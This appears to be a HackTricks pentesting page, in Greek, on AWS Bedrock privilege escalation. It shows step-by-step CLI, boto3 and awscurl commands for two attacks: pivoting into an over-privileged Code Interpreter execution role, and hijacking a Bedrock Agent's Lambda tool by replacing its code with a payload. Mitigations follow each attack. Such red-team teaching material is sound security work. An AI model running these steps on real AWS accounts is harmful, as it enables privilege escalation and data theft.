AWS - Bedrock PrivEsc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Amazon Bedrock AgentCore

bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot

Το AgentCore Code Interpreter είναι ένα managed execution environment. Custom Code Interpreters μπορούν να ρυθμιστούν με ένα executionRoleArn που «παρέχει permissions για το code interpreter να έχει πρόσβαση σε AWS services».

Αν ένα lower-privileged IAM principal μπορεί να start + invoke μια Code Interpreter session που έχει ρυθμιστεί με ένα more privileged execution role, ο caller μπορεί ουσιαστικά να pivot into the execution role’s permissions (lateral movement / privilege escalation ανάλογα με το εύρος του role).

Note

Αυτό είναι συνήθως ένα θέμα misconfiguration / excessive permissions (παροχή ευρέων permissions στο interpreter execution role και/ή παροχή broad invoke access). Το AWS προειδοποιεί ρητά να αποφεύγεται το privilege escalation, διασφαλίζοντας ότι τα execution roles έχουν ίσα ή λιγότερα privileges από τα identities που επιτρέπεται να κάνουν invoke.

Preconditions (common misconfiguration)

  • Υπάρχει ένα custom code interpreter με execution role που έχει υπερβολικά πολλά privileges (π.χ. access σε sensitive S3/Secrets/SSM ή IAM-admin-like capabilities).
  • Ένας user (developer/auditor/CI identity) έχει permissions για:
  • start sessions: bedrock-agentcore:StartCodeInterpreterSession
  • invoke tools: bedrock-agentcore:InvokeCodeInterpreter
  • (Optional) Ο user μπορεί επίσης να δημιουργεί interpreters: bedrock-agentcore:CreateCodeInterpreter (του επιτρέπει να δημιουργήσει έναν νέο interpreter με configured execution role, ανάλογα με τα org guardrails).

Recon (identify custom interpreters and execution role usage)

List interpreters (control-plane) and inspect their configuration:

aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>

Η εντολή create-code-interpreter υποστηρίζει --execution-role-arn το οποίο ορίζει ποια AWS permissions θα έχει ο interpreter.

Βήμα 1 - Ξεκινήστε μια session (αυτό επιστρέφει ένα sessionId, όχι ένα interactive shell)

SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)

echo "SessionId: $SESSION_ID"

Βήμα 2 - Invoke code execution (Boto3 or signed HTTPS)

Δεν υπάρχει interactive python shell από το start-code-interpreter-session. Η εκτέλεση γίνεται μέσω InvokeCodeInterpreter.

Option A - Boto3 example (execute Python + verify identity):

import boto3

client = boto3.client("bedrock-agentcore", region_name="<REGION>")

# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)

# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)

Εάν το interpreter έχει ρυθμιστεί με execution role, το output του sts:GetCallerIdentity() θα πρέπει να αντικατοπτρίζει την ταυτότητα αυτού του role (όχι του low-priv caller), αποδεικνύοντας το pivot.

Option B - Signed HTTPS call (awscurl):

awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'

Επιπτώσεις

  • Lateral movement μέσα σε οποιαδήποτε AWS πρόσβαση έχει το interpreter execution role.
  • Privilege escalation αν το interpreter execution role είναι πιο privileged από τον caller.
  • Πιο δύσκολος εντοπισμός αν τα CloudTrail data events για interpreter invocations δεν είναι ενεργοποιημένα (οι invocations μπορεί να μην καταγράφονται από προεπιλογή, ανάλογα με τη διαμόρφωση).

Mitigations / Hardening

  • Least privilege στο interpreter executionRoleArn (χειριστείτε το όπως τα Lambda execution roles / CI roles).
  • Restrict who can invoke (bedrock-agentcore:InvokeCodeInterpreter) και ποιος μπορεί να ξεκινά sessions.
  • Χρησιμοποιήστε SCPs για να deny το InvokeCodeInterpreter εκτός από approved agent runtime roles (η επιβολή σε επίπεδο org μπορεί να είναι απαραίτητη).
  • Ενεργοποιήστε τα κατάλληλα CloudTrail data events για AgentCore όπου ισχύει· κάντε alert σε απρόσμενες invocations και δημιουργία sessions.

Amazon Bedrock Agents

lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda

Τα Bedrock Agents μπορούν να χρησιμοποιούν Lambda-backed action groups ως tools (external execution). Αν ένας principal μπορεί να τροποποιήσει τον κώδικα μιας Lambda function που χρησιμοποιείται από ένα agent, και στη συνέχεια να invoke τον agent, μπορεί να εκτελέσει attacker-controlled code υπό το Lambda execution role.

Note

Αυτό είναι cross-service trust abuse (Bedrock → Lambda), όχι vulnerability. Ο attacker μπορεί να μην μπορεί να invoke τη Lambda απευθείας, αλλά μπορεί να την ενεργοποιήσει μέσω του agent.

Preconditions (common misconfiguration)

  • Υπάρχει ένα Bedrock Agent με ένα action group backed by a Lambda function
  • Ο attacker έχει:
  • lambda:UpdateFunctionCode
  • bedrock:InvokeAgent
  • Το Lambda execution role έχει ευρύτερα permissions από τον attacker
  • Ο attacker μπορεί να εντοπίσει τη Lambda που χρησιμοποιεί ο agent

Recon

Enumerate agent action groups:

aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT

Επιθεώρηση Lambda:

aws lambda get-function --function-name <FUNCTION_NAME>

Εκμετάλλευση

Αντικατάσταση κώδικα Lambda:

zip payload.zip lambda_function.py

aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip

Παράδειγμα payload:

import boto3

def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()

Trigger μέσω agent:

aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"

Επιπτώσεις

  • Privilege escalation στο Lambda execution role
  • Data exfiltration από AWS services
  • Cross-service abuse μέσω trusted agent execution

Μετριασμοί

  • Restrict lambda:UpdateFunctionCode
  • Χρησιμοποιήστε least-privilege Lambda roles
  • Monitor αλλαγές στον Lambda code
  • Audit το Bedrock agent tool usage

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks